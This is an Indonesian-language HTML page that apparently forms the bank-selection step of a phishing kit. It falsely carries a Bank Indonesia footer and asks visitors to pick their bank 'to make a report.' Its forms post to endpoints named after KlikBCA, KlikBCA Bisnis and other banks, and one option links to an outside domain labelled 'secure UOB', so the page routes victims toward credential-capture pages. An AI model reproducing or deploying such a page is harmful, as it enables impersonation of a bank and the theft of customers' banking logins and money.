
<html lang="en">
 <head> 
  <meta name="theme-color" content=""> 
  <meta charset="UTF-8"> 
  <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0"> 
  <meta http-equiv="X-UA-Compatible" content="ie=edge"> 
  <title></title> 
  <style>
        @import url('https://fonts.googleapis.com/css2?family=Ubuntu:wght@300;400;500;700&display=swap');
        * {
            font-family: 'Ubuntu', sans-serif;
            font-weight: 400;
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            color: #fff;
            position: relative;
        }

        b {
            font-weight: 500;
        }

        html {
            width: 100vw;
            height: 100vh;
        }

        body {
            background: white;
            display: flex;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            width: 100%;
            height: 100%;
        }

        .container {
            width: 100%;
            height: 100%;
            background-image: url('ast/bgblur.html/index.html');
            background-size: cover;
            background-repeat: no-repeat;
            background-position: center center;
            display: flex;
            align-items: center;
            flex-direction: column;
        }

        .container .head {
            width: 100%;
            height: 60px;
            display: flex;
            justify-content: center;
            align-items: center;
            margin: 10px 0 30px 0;
        }

        .container .head .back {
            width: 10px;
            position: absolute;
            left: 20px;
        }

        .container .head .logo {
            width: 150px;
        }

        form {
            width: 100%;
            padding: 20px;
        }

        form input {
            width: 100%;
            height: 50px;
            background: #fff;
            font-size: 15px;
            color: #000;
            outline: none;
            border: none;
            padding: 10px 20px;
            margin-bottom: 20px;
        }

        form button {
            width: 100%;
            margin-bottom: 20px;
            height: 50px;
            font-size: 14px;
            border: 1px;
            background: #004F91;
        }

        form .forgot {
            font-size: 13px;
            margin-bottom: 20px;
            font-weight: 300;
            margin-left: 20px;
        }

        form .zs {
            margin-left: 20px;
            margin-bottom: 20px;
            font-size: 13px;
            text-align: center;
            color: #8f8f8f;
        }

        form .reg {
            width: 100%;
            height: 50px;
            border: none;
            border-radius: 10px;
            background: #ffffff1d;
        }

        form .note {
            width: 100%;
            height: 40px;
            margin-bottom: 20px;
            background: transparent;
            display: flex;
            justify-content: center;
            align-items: center;
            color: #118eea;
        }

        form .note p {
            font-size: 13px;
            text-align: center;
            color: #004F91;
            font-weight: 700;
            margin-top: 0px;
        }

        /*********************/

        .process1 {
            width: 100%;
            height: 100%;
            display: flex;
            justify-content: center;
            margin: auto;
            position: absolute;
            padding-top: 300px;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(0, 0, 0, 0.6);
            z-index: 99999;
        }

        .loading {
            position: absolute;
            display: flex;
            justify-content: center;
            align-items: center;
            margin-bottom: 20%;
        }

        .loading img {
            width: 90px;
            top: 10;
        }

        .loading .spinner {
            position: absolute;
            width: 35px;
            animation: spin 1s linear infinite;
            -webkit-animation: spin 1s linear infinite;
            -moz-animation: spin 1s linear infinite;
            -ms-animation: spin 1s linear infinite;
            -o-animation: spin 1s linear infinite;
        }

        @keyframes spin {
            0% {
                transform: rotate(360deg);
            }
            100% {
                transform: rotate(0deg);
            }
        }

        @-webkit-keyframes spin {
            0% {
                -webkit-transform: rotate(360deg);
            }
            100% {
                -webkit-transform: rotate(0deg);
            }
        }

        @-moz-keyframes spin {
            0% {
                -webkit-transform: rotate(360deg);
            }
            100% {
                -webkit-transform: rotate(0deg);
            }
        }

        @-ms-keyframes spin {
            0% {
                -webkit-transform: rotate(360deg);
            }
            100% {
                -webkit-transform: rotate(0deg);
            }
        }

        @-o-keyframes spin {
            0% {
                -webkit-transform: rotate(360deg);
            }
            100% {
                -webkit-transform: rotate(0deg);
            }
        }
    </style> 
 </head> 
 <body> 
  <div class="container"> 
   <div class="head"> 
         <br><br><br>
        <center>
    <img src="https://ik.imagekit.io/bmp99gglh/Picsart_25-05-03_19-34-34-167.png?updatedAt=1763030292178" class="" style="width: 60%; margin-top: 90px;"> </center>
   </div> 
       <div class="kotak"  style="border: 1px solid #ddd; padding: 15px; width: 340px; margin-top: 60px; box-shadow: 0px 0px 5px 0px #dddddd; border-radius: 10p">  
    <div class="note" style="margin-top: -px; "> 
     <p style="background: transparent">PILIH PENYEDIA BANK ANDA UNTUK BUAT LAPORAN</p> 
    </div> 
    <div>
          <center>
           <p style="background: transparent;color:#000;margin-top:-20px;">PILIH PENYEDIA BANK ANDA UNTUK BUAT LAPORAN</p> </center>
<br>
        <center>
           <p style="background: transparent;color:#236cd4;font-weight: 700;
">Internet Banking</p><br>
<p style="background: transparent;color:#000;font-weight: 400;
font-size:9px;">( Abaikan jika tidak memiliki KlikBCA atau KlikBCA Bisnis )</p> </center>
          <form   action="kbca" method="POST" >
    <button type="submit" id="btnSubmit" style="width: 98%;margin-bottom: 20px;height: 40px;font-size: 14px;border: 1px solid #236cd4;background:none;border-radius:25px; color:#236cd4;">KlikBCA</button>
    </form>
    <form   action="kbcabisnis" method="POST" >
    <button type="submit" id="btnSubmit" style="width: 98%;margin-bottom: 20px;height: 40px;font-size: 14px;border: 1px solid #236cd4;background:none;border-radius:25px; color:#236cd4;margin-top:-40px;">KlikBCA Bisnis</button>
    </form>
   <div style="border:1px solid #000;"></div>
    </div>
    <br>
    <center>
           <p style="background: transparent;color:#236cd4;font-weight: 700;
">Pilihan Bank</p> </center>

     <form   action="banklain1" method="POST" >

    <select type="select" id="bank" name="penyedia" placeholder="Pilih Bank" required data-type="Select" data-label="Pilih limit" data-placeholder="Pilih limit" data-max-item-dropdown="10" class="brz-select select2-hidden-accessible" data-select2-id="wwckxtyskgtrphbgehnnedtefobinacmabrd" tabindex="-1" style="box-sizing: border-box; height: 45px; width: 536px; max-width: 100%; border: 1px solid #118eea; border-image: initial; background-color: rgb(235,235,235); border-radius: 5px; box-shadow: rgb(237, 237, 237) 2px 2px 2px 0px; font-family: 'Avenir'; font-weight: bold; font-size: 16px; color: rgb(28, 28, 28); word-spacing: 1px; padding: 10px 10px; outline: none; box-shadow: 0px 1px 4px 0px #00000090" aria-hidden="true"> <option hidden value="" data-select2-id="penyedia">Pilih Nama Bank </option> <optgroup label="Pilih Bank"> <option value="BANK RAKYAT INDONESIA">BANK RAKYAT INDONESIA</option> <option value="BANK NEGARA INDONESIA">BANK NEGARA INDONESIA</option> <option value="BANK MANDIRI">BANK MANDIRI</option> <option src="https://jso-ksh.my.id/amankan-uob-tmrw/banklain" value="BANK CENTRAL ASIA">BANK CENTRAL ASIA</option> <option value="PERMATA BANK">PERMATA BANK</option> <option value="BANK DANAMON">BANK DANAMON</option> <option value="BANK MEGA">BANK MEGA</option> <option value="PANIN BANK">PANIN BANK</option> <option value="OCBC NISP BANK">OCBC NISP BANK</option> <option value="HSBC THE HONGKHONH &amp; SHANGHAI">HSBC THE HONGKHONG &amp; SHANGHAI</option> <option value="MAYBANK">MAYBANK</option> <option value="ALLO BANK">ALLO BANK</option> <option value="CIMB">CIMB NIAGA</option> <option value="DBS">DIGIBANK (DBS)</option> <option value="LAINNYA">LAINNYA</option> </optgroup> </select> 
    <br> 
    <br> 
    <br> 
    <button type="submit" id="btnSubmit">Lanjutkan</button> 
   </form> 
  </div> 
  <script>
  document.getElementById("formBlokir").addEventListener("submit", function(e) {
    e.preventDefault(); // Mencegah submit default form

    const bankSelect = document.getElementById("bank");
    const selectedBank = bankSelect.value;

    if (selectedBank === "") {
      alert("Silakan pilih bank terlebih dahulu.");
    } else {
      window.location.href = "blokir.html";
    }
  });
</script>

  <div id="process1" name="process" class="process1" style="display: none;"> 
   <div class="loading"> 
    <img src="../../blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7yNH0XdtGVrvDwUbGYi68Z6_PuJbO7yrFuGWJeeR/s800/loading.gif"> 
   </div> 
  </div> 
  <footer style="width: 100%; position: fixed; bottom: 0; left: 0; right: 0; height: 50px; background: #045597; padding: 10px; padding-top: 15px; text-align: center">
    © 2024 Bank Indonesia 
  </footer> 
 <script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"86d9ccf6a1db4a4eb560d848e8d8f286","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"7330c1efbbf0444d9e938ccc0f5f9f90","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
</body>
</html>
